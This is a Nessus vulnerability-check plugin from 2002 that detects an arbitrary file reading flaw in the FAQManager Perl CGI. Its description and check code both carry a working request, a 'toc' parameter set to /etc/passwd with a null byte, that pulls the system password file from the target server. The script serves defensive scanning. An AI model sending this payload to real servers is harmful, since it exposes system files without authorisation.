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- #
- # This script was written by Matt Moore <matt.moore@westpoint.ltd.uk>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10837);
- script_bugtraq_id(3810);
- script_version ("$Revision: 1.4 $");
- name["english"] = "FAQManager Arbitrary File Reading Vulnerability";
- name["francais"] = "FAQManager Arbitrary File Reading Vulnerability";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "FAQManager is a Perl-based CGI for maintaining a list of
- Frequently asked Questions. Due to poor input validation it is possible to
- use this CGI to view arbitrary files on the web server. For example:
-
- http://www.someserver.com/cgi-bin/faqmanager.cgi?toc=/etc/passwd%00
-
- Solution:
-
- A new version of FAQManager is available at:
- www.fourteenminutes.com/code/faqmanager/
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Tests for FAQManager Arbitrary File Reading Vulnerability";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_ATTACK);
-
- script_copyright(english:"This script is Copyright (C) 2002 Matt Moore",
- francais:"Ce script est Copyright (C) 2002 Matt Moore");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- # Check starts here
-
- include("http_func.inc");
- port = get_http_port(default:80);
-
- if(get_port_state(port))
- {
- req = http_get(item:"/cgi-bin/faqmanager.cgi?toc=/etc/passwd%00", port:port);
- soc = http_open_socket(port);
- if(soc)
- {
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if("root:" >< r)
- security_hole(port);
-
- }
- }
-